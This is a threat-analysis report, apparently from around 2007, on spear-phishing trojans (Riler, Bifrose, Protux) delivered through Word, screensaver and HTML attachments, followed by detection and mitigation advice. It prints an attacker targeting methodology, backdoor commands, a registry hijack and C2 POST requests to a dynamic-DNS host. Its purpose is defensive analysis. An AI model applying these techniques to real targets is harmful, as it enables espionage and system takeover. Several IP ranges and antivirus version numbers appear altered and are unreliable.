Targeted AttacksWelcome to this page on targeted malware attacks. This subject has become a very common point of discussion and is subject to a lot of intrigue. By presenting some of the basic results of analysis of actual targeted trojan attacks, this analysis hopes to contribute to the discussion, detection and response to this new type of industrial (and often even political) espionage.
Brief analysis of recent targeted attacks
Cross-incident similarity: parking attack domains
Source of the attacks
Detecting and mitigating targeted attacks
Links and further information
In a sense, the internet has made the intelligence endeavor a much easier business than it was twenty or even ten years ago. From a communications perspective, not only does the internet have its obvious privacy and security inefficiencies, it also helps bring likeminded people together. We gradually moved from a publishing model, in which everyone had his own little homepage, to a collaboration model, where we work together on portals. As interests are combined, knowledge becomes more centralized. People of a certain interest sphere are naturally aligned to contribute to others from that same community.
With that however, the data also becomes more open to attack. Much of the information you publish is public, which gives attackers the opportunity to mark them as places of interest. Places of interest are those virtual locations frequented by higher than average people that would make interesting targets. For example, we all visit eBay, but only a select few of us would visit an investment community site focused on defense investments. Some other portals are typically linked to work activities, and are visited only by some in a certain professional category.
This allows for two interesting paths of entry to data which is not public. While you post certain public information online, you also have other information which provides your .competitive advantage. and which you do not wish to make public. Organizations may publish to certain sites to ensure they are visible in the market. This does not mean they wish to publish all their intellectual property. Disclosure of all such information would diminish the value of the organization, which could make it redundant.
Robert David Steele once stated that not all interesting information is online, nor is it in English. That is correct, but we are slowly moving in a direction where valuable information is gradually being made available in a digital manner. In addition, the cost of (be it often inaccurate) translations has decreased significantly. Ten years ago, it would have been very difficult for me to have a text in Chinese translated into English without paying for it. Basic translations are now available for free, and often provide sufficient information in those cases where I have little cost with an action based on this information.
So, an attacker who wishes to gain information from a certain actor, will follow methodology similar to the following:
In general, targeted attacks are conducted in an opportunistic way: there is no set methodology, and attacks can involve social engineering components, knowledge of existing infrastructure the actor uses and an almost infinite amount of other parameters. This is possible as the attack is crafted . it does not matter whether it executes outside of the attack target, and preferably would not. Time can be invested based on the expected revenue resulting out of a successful attack.
- Identify those actors involved in the processing of the information of value;
- Map logical communities which these actors would often frequent;
- Identify the actor's reputation of the community, their interests and contact information through the activity they generate on the site (this could consist of searching bulletin boards for any personal items of interests they leave that could prove of use;
- Design a malicious code item which could be used to access information the actor would not be interested in sharing;
- Provide this malicious code to the actor in a way it would seem normal and benign for him to execute it.
One way to distribute malicious code to all visitors of a certain community is to attack the community itself: compromise its web site so that malicious code is automatically served to the actor.s browser. If a browser vulnerability is used, the executable can be executed by the target even without his involvement. One disadvantage is that this type of attack tends to be very .noisy.. It is highly likely that at least one anti virus would trigger it through heuristics. While this would only be a small percentage of the site.s users, they could quickly inform the web site owners who can take appropriate action. This type of attack has been conducted against several high profile sites.
The most common way to distribute malicious code to an actor of interest however would be the use of e-mail. Most of the samples reviewed in this document were distributed in exactly such way. The only requirement for the attacker is that he can provide either his malicious code in either of the following forms:
Targeted attacks were initially widely reported in 2005 by a number of government organizations working on critical infrastructure protection. The type of targeted Trojan attack discussed at that time consists of an e-mail, often spoofed to originate from a specific individual or organization, sent to a very limited amount of recipients, containing an attachment with malicious code. This malicious code, upon execution, opens a connection - a so-called “reverse backdoor” - to a server on the internet. This server is under control of the attacker, who thus acquires full administrative control over the target’s desktop.
- A malicious executable that the user would, for some reason, trust and be willing to execute. This would require a high level of trust, perhaps even to the level of being a .good friend. with whom software is regularly exchanged;
- An application file which would exploit a known or unknown vulnerability in an application, thereby executing code without being as suspect as a standard executable. In this case trust would still be required, but not to the same degree as above.
On June 16th, 2005, the NISCC or National Infrastructure Security Co-ordination Centre in the United Kingdom (since converted into the CPNI or Centre for Protection of the National Infrastructure) issued a briefing reporting that parts of the UK Critical National Infrastructure had been targeted by ongoing email-borne electronic attacks (NISCC, 2005). This warning was echoed shortly after by the Australian Defence Signals Directorate and Canada’s CCIRC.
A second warning was released by the US Computer Emergency Readiness Team in July, 2005. They reported ongoing attacks dating back to January 2005.
In April 2007, Messagelabs, a leading e-mail security firm which provides scanning and detection services to over 13,000 clients worldwide, released a public report on the amount of targeted attacks they had uncovered during the month of March. This report was widely quoted in press, and coincided with a US House Committee hearing on a major 2006 e-mail borne information security compromise at the Department of State.
Brief analysis of recent targeted attacks [back]
This analysis report describes a limited set of the attacks that were investigated. It attempts to provide insight into the attack methodology.
Microsoft Word-based attack: distribution of a malicious Word document
This attack was confirmed to have taken place in May of 2006. It consisted of an e-mail with a high level of context, thereby inducing a level of trust in the recipient. Attached to the mail was a single Microsoft Office file.
The file was a maliciously crafted Microsoft Word document that exploited a vulnerability described in CVE-2005-0564. This vulnerability in Microsoft Office 2000 and Office XP allows an attacker to execute arbitrary code on a system by having a user open a crafted .doc file with excessively long font information.
Upon close review, the file contains an embedded executable as of offset 00010190. This file, once executed, installs the following files on the affected Windows system:
These files are closely related with the W32/Riler Trojan. This is a Trojan that was identified in the 2005 NISCC briefings as being part of the targeted attacks they had been investigating (NISCC, 2005). However, there are some subtle differences. The file uidmngr.ini, which in the original Riler contains the timeframe of installation, now lists the filename from which the code was initially installed. In addition, the Trojan uses an alternate hostname for its reverse backdoor connection than that of the original Trojan versions.
SNootern.dll is installed as a layered service provider and rests dormant. After the first reboot of the machine, the service performs a DNS lookup for the host [anonymized].3322.org. A mere few minutes later, it connects to this host on port 7128. The backdoor allows the remote attacker to execute wide variety of commands.
The following is an extract from a live backdoor connection started by the Trojan. The connection is initiated by the infected host to a server on the internet. Commands generated by the internet server are in standard font, while the responses of the infected machine are in bold.
In this connection, the attacker issues the NAME command to gather basic host information. The infected host replies using its hostname MUSCAT, the version of the tool (Stealth 2.6, which seems to be written for this specific purpose only) and its OS version (Windows NT).
NAME: MUSCAT.VER: Stealt h 2.6 MARK: fl510 OS: NT 5.0.L_IP: 10. 2.0.18.ID: NoID.
ERR code = 02
ERR code = 02
It also includes its local IP address and a yet undetermined value ‘NoID’. The attacker then replies with a filename that appears to be the remote logfile, named mmdd_LOG.txt, in which mm is the month and dd the day. It is interesting to note that at the time the connection was made, it was still the 30th of April in both Europe and the US, while certain Asian time zones, had already moved on to the 1st of May. The remote server, however, was located on a US network.
Analysis of the backdoor has shown that it supports a relatively large command set. The following commands can be issued by the attacker and lead to an action on the infected machine:
LOCK SEND WAKE NAME MOON KEEP DISK FILE
DONE DOWN LONG MAKE ATTR KILL LIKE SEEK
READ DEAD DDLL AUTO READY
Some of these commands, such as WAKE, have a purely administrative function and merely serve to keep the connection active. If the remote server does not issue at least one WAKE command every two minutes, the infected server disconnects the backdoor.
Others, such as MOON and DISK, allow the attacker to acquire information on the local disks and file systems. The command DEAD disrupts the connection and closes the backdoor.
Perhaps of most importance is the command LIKE, which grants the attacker a remote command line shell on the infected system. As this shell runs under the privileges of the svchost.exe process, it means that the attacker has full and unfettered access to all parts of the infected system.
When our investigation started, the file was run through Virustotal.com. This tool allows a single file to be scanned by over 30 common anti virus solutions. It allows for good assessment of how current live anti viruses are able to counter this threat. In total, of 34 solutions, 9 were able to successfully identify the file as malicious. If we do not take market share of each of the solutions into account, this shows a recognition rate of 26%. Interesting to note is that the file was distributed eleven months prior to this scan taking place.
At the time of writing, the compromised host gaining control of an infected machine is still active and responding on TCP port 7128.
A second Microsoft Word-based Attack
This file was distributed at an unknown date. It appears to exploit the vulnerability labeled CVE-2003-0820. This is a weakness in Microsoft Word 97, 98, 2000 and 2002, as well as the Microsoft Works suites that allows an attacker to execute arbitrary code on a computer system by having a user open a document that contains an overly long ‘Macro names’ data value.
When opening the file on an affected platform, the binary changes the Windows registry, a system object which is the main configuration database on the Windows systems:
HKLM\SOFTWARE\Classes\exefile\shell\open\command\: ""%1" %*"
"C:\WINNT\System32\scvhost.exe "%1" %*"
The following files get installed:
These changes ensure that whenever a file ending in a .txt extension is opened, the newly installed scvhost.exe file is executed instead of the standard Notepad tool. In addition, every executable file will now be opened using scvhost.exe as a wrapper. The Trojan will as such be executed upon starting any program.
Immediately afterwards, dynamic analysis of an infected machine shows it performing a DNS lookup for the hostname www.[anonymized].com. It then makes an encrypted HTTPS (port 443) connection to this machine. At the time of the investigation, this hostname resolves to a machine within the following network located in mainland China.
inetnum: 22.214.171.124 - 126.96.36.199
descr: China United Telecommunications Corporation
descr: No.133,Taiyun Building,Xidan North Street
descr: Xicheng District,Beijing,China
The malicious code had spotty recognition by common anti virus solutions. 14 out of 34 solutions were able to recognize the Word document as malicious.
Renamed executable file attack: distribution of a .scr file
An attacker does not always require a vulnerability in order to have code executed. In some cases, files can be disguised to resemble normal, trusted filetypes, while they in fact do harbor malicious code. Windows in some cases recognizes files that have a clear ‘magic’ expression as the correct filetype, even though it is not consistent with the filename. In such cases, the filename can be used as a form of social engineering or deception.
This ‘magic’ is a short byte expression at the beginning of a file, indicating its actual contents. Executable MS-DOS or Windows EXE files for example, can easily be recognized as they always start with the byte sequence ‘MZ’. Windows will under some circumstances interpret the file accordingly and execute it.
One of the targeted attacks sent to the targeted organization had an extension of SCR, which indicates a Screensaver document. Screensavers are generally installed in the Windows root directory and can be accessed using the Desktop configuration subsystem. However, in this case, the SCR file submitted was in fact an executable file, with the common executable starting byte sequence of ‘MZ’.
When a user clicks on the screensaver file, the program acts as one would expect of a .SCR file. A screensaver-type image is shown which is closed immediately upon a mouse click or any other activity from the input devices:
In the background however, the tool performs a DNS lookup for the hostname [anonymized].3322.org. The anonymized part of the hostname contained part of the targeted organization’s official name. Once resolved, the infected machine attempts to connect to this server on port 80 to enable a reverse backdoor and grant the attacker entry to the machine. .
The selection of port 80 is interesting. When no proxies are in use, corporate networks would in generally allow such traffic unfettered access to the internet, as it is required for regular web browsing. In addition, when analyzing the traffic submitted to the server on this port, it became clear that the remote server is in fact not a web server, but a custom daemon.
The backdoor installed during the attack is a modified version of a common Trojan known as W32/Bifrose. It did have an altered destination IP address and spotty anti virus recognition.
The file is packed using PE-ARMOR. “Packing” is a technique that splits an executable file up in a ‘decompressor’ and a ‘compressed data’ part. The compressed data part is unreadable and is run through the decompressor prior to execution. For a virus writer, this results in more compact code, which is smaller for distribution and as such less likely to draw attention. In addition, packing is often done to prevent static analysis of the binary, as it hides any contextual information from review by an analyst or automated applications. While packing is a very common practice, the use of PE-ARMOR is relatively rare.
Use of less known packing methods prevents certain methods of inspection by anti virus applications. Many of these tools unpack files prior to running signature analysis, as packed files have less contextual information and, due to their compressed nature, consist dominantly of binary gibberish. Unexpected packing methods could prevent an anti virus solution from successfully identifying even a known virus.
Pure HTML based attack: distribution of a HTML file
Early 2007, an e-mail was sent to a single organization member. The e-mail had very good context setting. The content of the message matched the subject line accurately. Attached, the message included a file ending in the HTML extension. This attachment, once opened, displayed a message that would have been very interesting to the intended recipient, and matched his expected view of the world.
The HTML attachment was scanned using 34 commercial anti virus solutions, resulting in a detection rate of 6% (2 successful detections). Both of these were by relatively unknown heuristics-enabled solutions. A closer investigation of the file however, revealed that it was most definitely malicious.
The download server for this so-called ‘second stage’ payload is located in a major Florida data center. The executable is a modified version of the Protux backdoor application, and was recognized by 29% of the Virustotal set of virus scanners on April 18th, 2007. Interesting to note is that it is also packed using PE-ARMOR to make analysis more difficult.
Upon execution, the file makes the following changes to the Windows registry:
The file Netserv.dll, also packed using PE-ARMOR is then installed in c:\winnt\system32\, the main directory where Microsoft Windows stores its configuration and system files. It is given the attributes of System and Hidden to ensure it is not visible to the end user. The changes above replace the Netman.dll service, a function module for the Network Connections Manager, by a custom crafted version of this file. The service parameters are also changed so it launches automatically at startup. In normal systems, it is called by another service when required and then launches.
Upon a reboot of the infected machine, the server performs hostname lookups for:
It then attempts to connect to these servers on port 80, and performs the following regular HTTP requests:
POST http://[anonymized].3322.org:8000/index.php?genid=41 HTTP/1.1
POST http://[anonymized].3322.org:8000/index.php?genid=6334 HTTP/1.1
POST http://[anonymized].3322.org:8000/index.php?genid=19169 HTTP/1.1
POST http://[anonymized].3322.org:8000/index.php?genid=11478 HTTP/1.1"
The client appears to be trying to contact a server using a form of HTTP command and control channel. At this point in time, the final goal of the tool has not yet been ascertained.
This attack is significantly more advanced than its predecessors, and has been tuned to mitigate the preventive measures used by the organization:
- The attached file is regular HTML and does not look as suspicious as a Microsoft Word, screensaver or executable file;
- The file exploits a less controlled attack avenue for which at this point in time virtually no anti virus detection capability exists;
- Context setting is much more advanced and believable than in previous attacks.
Summer 2007 Word document attacks
As of mid-July 2007, all the way through the end of September, a large number of malicious Word documents were identified and reported. Those sent through in July-August contained a backdoor called Protux, while the ones submitted later on were of an as of yet undefined family.
What is interesting about this attack is the continuous effort in evading anti virus detection. Below Virustotal output was taken at the time of first reception:
Antivirus Version Last update Result
AhnLab-V3 2007.9.18.0 2007.09.17 -
AntiVir 188.8.131.52 2007.09.17 DR/OLE.HiddenEXE.Gen
Authentium 4.93.8 2007.09.18 -
Avast 4.7.1043.0 2007.09.17 -
AVG 184.108.40.2065 2007.09.17 -
BitDefender 7.2 2007.09.17 -
CAT-QuickHeal 9.00 2007.09.17 -
ClamAV 0.91.2 2007.09.17 -
DrWeb 4.33 2007.09.17 -
eSafe 220.127.116.11 2007.09.17 -
eTrust-Vet 31.1.5142 2007.09.17 -
Ewido 4.0 2007.09.17 -
FileAdvisor 1 2007.09.18 -
Fortinet 18.104.22.168 2007.09.17 -
F-Prot 22.214.171.124 2007.09.17 -
F-Secure 6.70.13030.0 2007.09.17 -
Ikarus T126.96.36.199 2007.09.17 -
Kaspersky 188.8.131.52 2007.09.18 -
McAfee 5121 2007.09.17 Exploit-MSOffice.b
Microsoft 1.2803 2007.09.17 -
NOD32v2 2535 2007.09.17 -
Norman 5.80.02 2007.09.17 -
Panda 184.108.40.206 2007.09.17 -
Prevx1 V2 2007.09.18 -
Rising 19.41.02.00 2007.09.17 -
Sophos 4.21.0 2007.09.17 -
Sunbelt 2.2.907.0 2007.09.15 -
Symantec 10 2007.09.17 -
TheHacker 6.2.5.061 2007.09.17 -
VBA32 220.127.116.11 2007.09.17 -
VirusBuster 4.3.26:9 2007.09.17 -
Webwasher-Gateway 6.0.1 2007.09.17 Trojan.OLE.HiddenEXE.Gen
Each of the instances was detected only by Avira's and McAfee's generic signatures. Avira checks for the existence of what looks like an executable inside an OLE structure, while McAfee scans the file for signs of exploitation of a known Office exploit.
The following samples were identified as part of this attack pattern:
Subject line: Re concerns about Athens
"Concerns about Athens.doc"
Subject line: Revehent of the icer
"revehent of the icer.doc"
Subject line: HAVE YOU SMILED TODAY
"HAVE YOU SMILED TODAY.doc"
Subject line: Indian left renews threat over U.S. nuclear pact
"Indian left renews threats over U.S. nuclear pact"
Subject line: Human Rights Watch
"Hezbollah Rockets Targeted Civilians in 2006 War.doc"
Each of these files had virtually no anti virus coverage once initially sent. The embedded Trojan, in many cases, did not fare much better. The below coverage overview shows many major solutions would not have provided coverage:
AhnLab-V3 2007.9.8.0 2007.09.07 -
AntiVir 18.104.22.168 2007.09.07 TR/Crypt.XPACK.Gen
Authentium 4.93.8 2007.09.07 Possibly a new variant of W32/new-malware!Maximus
Avast 4.7.1043.0 2007.09.07 -
AVG 22.214.171.1245 2007.09.07 -
BitDefender 7.2 2007.09.08 -
CAT-QuickHeal 9.00 2007.09.08 (Suspicious) - DNAScan
ClamAV 0.91.2 2007.09.08 -
DrWeb 4.33 2007.09.07 Trojan.PWS.Winlog eSafe 126.96.36.199 2007.09.04 Suspicious Trojan/Worm
eTrust-Vet 31.1.5119 2007.09.08 -
Ewido 4.0 2007.09.08 Logger.Agent.m
FileAdvisor 1 2007.09.08 -
Fortinet 188.8.131.52 2007.09.07 -
F-Prot 184.108.40.206 2007.09.07 W32/new-malware!Maximus
F-Secure 6.70.13030.0 2007.09.07 -
Ikarus T220.127.116.11 2007.09.08 Trojan-Spy.Win32.Agent.M
Kaspersky 18.104.22.168 2007.09.08 -
McAfee 5115 2007.09.07 -
Microsoft 1.2803 2007.09.08 -
NOD32v2 2514 2007.09.08 -
Norman 5.80.02 2007.09.07 -
Panda 22.214.171.124 2007.09.08 Suspicious file
Prevx1 V2 2007.09.08 -
Rising 19.39.60.00 2007.09.08 -
Sophos 4.21.0 2007.09.08 Troj/Sharp-F
Sunbelt 2.2.907.0 2007.09.07 VIPRE.Suspicious
Symantec 10 2007.09.08 -
TheHacker 126.96.36.199 2007.09.08 -
VBA32 188.8.131.52 2007.09.08 suspected of Trojan-Spy.Agent.8
VirusBuster 4.3.26:9 2007.09.07 -
Webwasher-Gateway 6.0.1 2007.09.07 Trojan.Crypt.XPACK.Gen
Once submitted to these anti virus vendors, several added detection shortly after. However, this caused the attackers to change their files slightly and resubmit them. Both the embedded Trojan as the word document were altered to evade detection. Several of the anti virus vendors were no longer able to trigger on the mutated documents. Only AntiVir and McAfee continued to trigger reliably.
Looking at the actual Word documents, they clearly contain a visible NOP slide (both 90 and 40 are legitimate NOP opcodes on Intel x86), followed by some code. Entirely at the end are a number of names of Windows system calls, followed by notepad.exe. This creates the impression that the exploit is based on a piece of Proof of Concept code.
Once opened, nothing strange appears to happen. A regular Word document with expected content pops up. Things look entirely different in a debugger window, however. There you suddenly jump into a new piece of code, which turns out to be a whole embedded executable, called bs411.exe. This executable then drops two new files on the filesystem:
The first, vstskmgr.exe is also installed in the registry as a Userinit entry, to ensure it gets loaded when the user logs into the system:
The software then performs a DNS lookup for bs411.bluewinnt.com or bsek5.ggsddup.com, which at the time of the attacks both resolved to the same CNC Group Hebei Province host. It then connects to this server's HTTP port and performs a POST for a number of CGI scripts. The hostname requested is matches the forward DNS of the target IP address. The initial requests are for:
On the second connection, the MAC address of the compromised host is submitted, together with the hostname. A third connection is then created with a request for /httpdocs/Accred which is replied to with "K".
Afterwards several more connections are made transferring information on the compromised host (including hostname). Most of these are responded to with a 404 error, but one should not forget that the only goal is for this information to arrive at the server.
Follow-up to: Pure HTML based attack: distribution of a HTML file
Clearly visible in the attachment was the following string:
When decoded, this string points to a server hosted at The Planet in the United States. The file located there was malware with very poor anti virus coverage. It dropped a new file, msxqig.dll, which was then installed as the .Microsoft .NET Framework TPM. service.
Once installed, the backdoor, which contains a keylogging routine, established a connection to ding.pc-officer.com. This hostname resolved to a fictitious IP address, and the target server was not running any control server. A quick look at the DNS history of this machine shows that it has been hosted both in Korea and Taiwan, with intermediate .parking. at 127.0.0.1.
Cross-incident similarity: parking attack domains [back]
Noteworthy is that each of these attacks appears to use ‘parking’ of hostnames to prevent detection. Systemically, this means that when an attacker chooses to disable the attack mechanism, he effectively reduces the footprint the attack leaves on the network.
The following diagram shows a modular breakdown of the generic incident:
Initially, malicious code is executed from the e-mail sent to the user. This may be code included in a Word document, Screensaver or HTML file.
This code then may, depending on its requirements, download additional payload code from the internet and install it on the local server. This stage only took place in the 2007 incident, where the inbound e-mail contained very little code.
The server then needs to find out which server on the internet is its control server, the machine that it will connect to and grant access. The attackers in these incidents generally used dynamic DNS providers for this purpose. Dynamic DNS providers allow a user to create a hostname of choice, such as “[anonymized].3322.org”, and allow them to assign an IP address to this server.
The advantage of using such service is two-fold:
- these services are relatively anonymous, as 3322.org is a large Chinese service provider that does very little verification of user authentication credentials;
- 3322.org maintains a very short TTL or Time-to-Live value for each DNS record. The Time-to-Live is used to define how long an end user network will store the entry prior to attempting a new translation of “[anonymized].3322.org”. Having a short TTL, in this case 60 seconds, allows an attacker to switch from one control server to another at very short notice.
During the investigation of these attacks, it became clear that many of them were inactive. The hostnames pointed to the loopback IP address 127.0.0.1. This is particularly interesting as it is within the only IP address range possible that would prevent the host from attempting to set up a network connection.
The actual connection to the server can be considered noisy and is easy to identify on a network. Once an organization is aware that an infection has taken place, it can use its firewall logs to identify which client is infected and attempting to set up a backdoor control connection. The DNS connections are very low profile, and in general, DNS requests are not logged by any network device.
As a result, when an attacker wants to hide his activities, he alters the hostname entry with the 3322.org dynamic DNS provider, causing the network compromise to become close to invisible. It also allows for very targeted intelligence attack framing. Only when a collection effort is required, the hostname needs to be enabled. Once collection is finalized, the hostname can be parked and the compromised hosts rendered mute until the next requirement.
Source of the attacks [back]
Unfortunately, headers of the original message were only available for the early 2007 attack. These headers showed that the e-mail was delivered to a corporate e-mail account from the network of Fastmail.FM. Fastmail is a US-based e-mail provider that allows users to use SMTP for the transmission of mail. Connections to Fastmail require authentication, which means that a valid Fastmail user transmitted the message.
The e-mail headers provide some information on the source of the connection to Fastmail:
Received: from [anonymized] (unknown [anonymized])
by www.fastmail.fm (Postfix) with ESMTP id 6A3C71A135
for ; Tue, 10 Apr 2007 00:45:58 -0400 (EDT)
While it is not possible to guarantee this header is not forged, there is a high likelihood of it being accurate. The message is received by fastmail.fm, which is the same outbound authority that provided it to the Belgian ISP. As such, headers added by this solution are highly likely to be accurate.
The origin IP address was located in Taiwan, and part of a legitimate commercial organization. One could wonder why, if the IP address is included in the final mail, the effort was taken to tunnel the traffic through Fastmail, especially since it would theoretically be possible for law enforcement to involve their abuse department in identifying the user. This could perhaps have been a failed attempt at deception. As the mail transaction to Fastmail is authenticated, it is unlikely, though not impossible, that the mail was sent in an automated fashion using a spam bot.
Detecting and mitigating targeted attacks [back]
Deployment of anti virus solutions
In general, the most common way to detect specific malware attacks, including these targeted Trojans, is through use of specific signatures. Signatures can be based on a number of parameters:
Both types of signatures are usually produced by anti virus vendors upon reception of a malicious sample. This means that they are usually not very applicable to targeted Trojan attacks. Where the attacker can decide the shape and form of the binary, its use cannot be predicted and identified as such per the above techniques.
- Malware files that are static and do not change can be detected by calculating a one-way-hash. Such hash uniquely describes the specific file and is easy to calculate, leading to fast discovery of such malicious files;
- A pattern that uniquely identifies a specific code or data part of a malicious binary. These patterns are of more use where the malicious code changes slightly upon each new distribution.
A more recent technique that is able to identify these types of malicious code attacks are so-called ‘heuristics’. Heuristics consist of smart analysis of potentially malicious code. A heuristic signature may attempt to identify the exploitation of a certain vulnerability or identify particular malicious behavior, instead of purely matching a string that is typical for one specific exploit.
While most anti virus solutions support heuristics, there is a significant trade-off between false positives and false negatives. Strong heuristics may identify a high percentage of yet unknown viruses and Trojans, but they may also cause the solution to block legitimate files. In general, stronger heuristics are usually deployed on perimeter security solutions than on desktop PCs.
One more technique that is becoming more popular in the identification of malicious code is so-called sandboxing. When applied, this technique actually runs the malicious code in a so-called ‘sandboxed’ environment, in which the system as a whole is shielded from the actual code. By monitoring and measuring the behavior of the application within the sandbox, a better assessment can be made of whether or not it is malicious.
Due to the high cost of cleaning up virus infections, anti virus solutions are commonly deployed both on the security perimeter as on desktops. For additional screening, it is advisable that separate brands of solutions are deployed on both types of machines, and strong heuristics are applied at the perimeter.
Host based intrusion detection & prevention
Host based intrusion detection systems also have two common .modus operandi.. Most solutions detection intrusion by reviewing local log files, investigating when potentially malicious code is running on the system or when certain vulnerabilities (e.g. buffer overflows) are being exploited. These solutions are likely to detect these targeted Trojan attacks as they tend to make changes to critical system objects, such as the Windows registry.
A second group of host intrusion detection/prevention systems operate by profiling code running on the system. Whenever an application attempts to embark upon an action which does not match its profile, it is halted. These solutions are highly likely to identify these targeted Trojan attacks, as they tend to behave outside the specifications of the normal system.
For example, an application which executes .from. a Microsoft Word instance can automatically be identified as suspicious. We tested a number of these tools against several samples gathered during this research, and found them to be very effective against most attacks. It should be noted that these solutions have a relatively high false positive rate as compared to signature based malicious code protection, as they generate a score against each process, and once the score is exceeded, flag it as malicious.
Below are two samples of behavioral analysis tools flagging an emerging infection initiated by a malicious Word document:
In the above image, PC Tools ThreatFire has flagged a buffer overrun vulnerability being exploited. It identifies that Microsoft Word is trying to execute instructions from a memory area it would not be expected to access. This actually flags exploitation of the vulnerability in question (CVE-2006-2492), and allows a user to allow or block the attack.
The above image displays detection by a competing solution, Sana Security Primary Response SafeConnect. It accurately detects the threat, but at a later point in time. As you can see in the background, the Word document had already loaded. Not visible in the graph is that the embedded executable bs411.exe was already running, and was the process being flagged. The solution is very verbose in identifying the different suspicious types of behavior exhibited by the binary. This is an interesting solution to test, as it has recently been incorporated into Symantec's Norton range for end users, as Norton Antibot.
Procuring the services of a managed e-mail security provider
While an anti-virus solution offers a robust method of discovering the introduction of malicious code, managed e-mail security providers can increase their effectiveness by adding a threat management and analysis component. These organizations generally retain research staff that is on-hand to evaluate new threats and devise countermeasures to compensate for the lack of stock software features.
One such organization, Messagelabs, is widely credited as being responsible for the detection of the UK government-targeted Trojan attacks which the NISCC alerted on in 2005. In addition, they regularly provide research reports that describe trends in targeted malware, such as popular attack vectors. These reports also provide some generic information on their technology platform: it appears they use a serial combination of a binary unpacker (used to unzip archives and reduce protected binaries to their clear-text component) as well as the F-Prot and McAfee anti-virus, combined with a custom developed solution called ‘Skeptic’ (MessageLabs, 2007). Based on its name and its referenced performance, this appears to be a heuristics-based solution.
A quick search with the European Patent Office reveals a large number of patents assigned to Messagelabs on heuristic virus detection, which confirms this expectation. Some of these patents show advanced dynamic analysis of executables (assessment of the binary during runtime) indicating a close link with sandbox technology.
Deploying intrusion detection and prevention functionality
Intrusion detection technology allows for detection of the materialization of a certain threat. Intrusion detection requires incident response processes to be defined in order to be successful. Once a threat is identified, action needs to be taken to mitigate the effect of this threat. Intrusion prevention technology, on the other hand, will automatically take responsive action to mitigate the threat.
Network based intrusion detection/prevention
Network based systems inspect network traffic to identify potentially malicious events. They can be either signature- or anomaly-based. Signature- based solutions inspect network traffic for certain attack signatures. For example, the transfer of a malicious file may be detected and alerted upon.
Anomaly- based network intrusion detection systems verify whether existing network behavior is in line with the expectations generated by previous behavior. For example, if a network usually only makes connections to a limited set of hosts, and suddenly unexpected connections to machines in China are detected, they will flag a security event.
Signature-based solutions do sometimes contain signatures to detect on certain malicious code. For example, if a network vulnerability is exploited by the Trojan, or a certain malicious file is transferred over the network, these may be identified by the signature-based solution in a way very similar to that of anti virus solutions. However, some significant drawbacks apply: monitoring-only solutions that are deployed ‘out of band’, outside the critical path of the network between sender and recipient, may not see all traffic to the same degree as an anti virus solution would. In addition, attack tools can be written as to avoid detection by these tools.
Anomaly-based solutions could be of help if the traffic generated by the Trojan is sufficiently irregular. In this report, for example, the backdoors connecting on non-standard ports, such as 7128, have a higher likelihood of being detected by such solution than those that connect on the regular HTTP port of 80.
Joining Information Sharing and Analysis Centers (ISACs)
The dominant issue with targeted attacks is that while specific instances can be prevented, the attacker is able to procure detailed knowledge of the target. Use of this knowledge enables him to make smart decisions to ensure the attack is successful.
In order to limit risk, however, a targeted attack is rarely pointed at a single, unique individual. The attacker is attempting to procure information that would be of value to him. However, that information may be shared amongst many different individuals or even organizations. As such, attacks are often directed at multiple organizations or multiple individuals at a limited set of companies operating in the same branch of business.
As such, sharing security information is a prime tool in preventing these types of attacks. When an attack is discovered, details on its methodology can be shared to enable other organizations to review their systems for similar compromise, or improve their mitigative controls to prevent later compromise.
Within Belgium, there are limited such networks available. BELNET CERT provides incident response and analysis services for BELNET clients, but does not have a formal information sharing role. Informal information sharing occurs within the context of a number of Information Security organizations such as ISSA (Information Systems Security Association), ISACA (Information Systems Audit and Control Association) and OWASP (Open Web Application Security Project).
Internationally, several information sharing networks exist. These are often formal, such as the FSISAC (for Financial Services), ITISAC (for IT Infrastructure) and very specific ones such as WaterISAC (pertaining threats against the water supply infrastructure). Many of these are US-centric, but some do allow international membership. A number of informal networks have also been started, such as the NSP mailing lists – a list for the discussion of specific attacks on information systems that is available only to large content providers, internet service providers and law enforcement.
Most of these informal networks allow entry on a ‘tit for tat’ basis. An organization is allowed access to the information if it commits to sharing similar information as well, and contributing to the investigations pertaining to such attacks.
Network hardening and security infrastructure
In order to limit the impact of these attacks, network infrastructure should be designed to allow the minimum required services. This also means that all connections authorized should be identified and linked to business requirements.
A stringent firewall rulebase should be in place, in combination with the use of application proxies to tunnel permitted internet traffic. This would stop, or at least allow to audit the activities of the Trojans discussed in this analysis report. Most of these attempt to connect to hosts on the internet using irregular ports, such as 7128.
This traffic would be blocked by such securely configured egress firewall rulebase. In addition, use of a proxy would prevent those backdoors that use HTTP port 80 (required for web browsing) from using non-HTTP compliant connections. Use of a proxy and firewall would also make available detailed logging information to aid in a forensic investigation once a compromise is identified.
Such proxies should have security technology enabled:
- URL filtering technology on the HTTP proxy may be able to proactively block any malicious code hosted on the internet that is downloaded by the Trojan. An included anti virus solution could scan such file with stringent heuristics and potentially identify exploit code.
- E-mail security proxies should use anti-spam and anti-virus functionality to perform security verification of inbound mails. These filters should also be configured to block inbound e-mail from the organization’s domain to internal users. In general, e-mail from ‘@corporatedomain.tld’ should not enter the organization from outside. This prevents attackers from spoofing mail as originating from corporate citizens, thus creating a valid context.
In addition, the DNS system can be used to identify successful attacks. As illustrated earlier, 3322.org as a Dynamic DNS provider, is commonly involved in these attacks. A hostname is temporarily linked to the IP address of a compromised server, and can easily be switched ‘off’ to prevent exploitation. Typical for these Trojans however is that they perform frequent DNS queries to ascertain whether their command channel is active. These lookups occur more frequently than lookups for established sites, as the TTL value (time to live, which defines when the entry expires) is very low, 1 minute or less. By inspecting DNS request logs for the internal clients, infected hosts can generally be pinpointed and identified.
Computer systems can be configured to become less vulnerable to these threat agents. This ensures that the attacker have to invest more effort in compromising machines. This results in two benefits to any organization:
- The attackers may choose to go after ‘low hanging fruit’, other organizations that have a lower security posture and are more vulnerable;
- It is likely that the attackers will have to perform trial runs of malware in order to identify a specific attack that is successful. These trial runs increase the likelihood of the attack being detected. Once detected, action can be undertaken to prevent further attack from these sources, or law enforcement can be involved where necessary.
While generic system hardening is required to limit the risk of network exploitation, hardening against these specific Trojan attacks should be focused on the user’s e-mail client and web browser. These are the main interfaces involved in the attacks;
- Browsers should be configured to support the most limited set of functionality required for business purposes. This may include disabling ActiveX or Java support;
- Browser Helper Objects should be disabled, as they allow the installation of third party components into the web browser. BHOs are often used to gather information from what the client enters into the popular Internet Explorer web browser, such as authentication credentials;
- Anti virus solutions should be configured to scan all downloaded files;
- E-mail clients can be configured to preview e-mails in cleartext. This allows a user to delete the e-mail without actually executing any embedded code.
Hardening end user applications
